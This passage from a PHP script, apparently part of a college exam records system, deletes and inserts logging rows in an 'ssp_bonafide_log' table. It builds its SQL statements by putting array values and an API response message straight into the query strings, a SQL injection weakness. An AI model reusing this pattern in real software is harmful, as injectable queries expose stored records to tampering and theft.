                    WHERE COLLEGE_SSP_CODE = '{$value['COLLEGE_SSP_CODE']}' 
                    AND University_SSP_Code = '{$value['University_SSP_Code']}' 
                    AND COURSE_CODE = '{$value['COURSE_CODE']}'";
            $result3 = $aobj_context->mobj_db->Execute($del);
          
              $insert = "insert into logisys3_comexam.ssp_bonafide_log(University_SSP_Code, COLLEGE_SSP_CODE, COURSE_CODE,University_Registration_Number, freq, fres) values
              ('{$value['University_SSP_Code']}', '{$value['COLLEGE_SSP_CODE']}', '{$value['COURSE_CODE']}','-','-','{$res2['message']}')";
            
              $result3 = $aobj_context->mobj_db->Execute($insert);
                 
            ssp_status_report($aobj_context,$univsspcode);
        }   
       // }

    }
    echo "Completed";

    }
  
  }